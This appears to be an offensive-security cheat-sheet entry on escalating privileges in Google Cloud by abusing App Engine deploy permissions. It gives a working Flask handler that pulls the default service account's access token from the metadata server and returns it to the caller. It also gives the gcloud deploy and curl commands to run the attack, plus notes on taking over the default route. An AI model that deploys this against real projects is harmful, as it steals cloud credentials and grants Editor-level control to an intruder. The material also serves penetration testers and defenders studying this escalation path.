App Engine standard and flexible versions run as the App Engine default service account (<project>@appspot.gserviceaccount.com), which holds Editor by default. With the App Engine deploy permissions (appengine.applications.update / appengine.versions.create and cloudbuild/storage to stage), you ship a version whose handler reads and returns the service account token.
Deploy a token-leaking app#
# main.py (Flask)
import requests
from flask import Flask
app = Flask(__name__)
@app.route("/")
def pwn():
return requests.get(
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
headers={"Metadata-Flavor": "Google"}).text
gcloud app deploy app.yaml --quiet
curl "https://<project>.appspot.com/"
Exploitation notes#
- The default App Engine account is Editor, so a deploy is effectively Editor code execution; chain to a token-yielding resource for anything beyond Editor.
- Deploying a new version does not route traffic until promoted, but you can hit the versioned URL directly, or
--promoteto take over the default. - App Engine deploys stage through Cloud Build and a staging bucket, so the deploy permissions pull in those services.
Tools#
- gcloud (
app deploy): the deploy.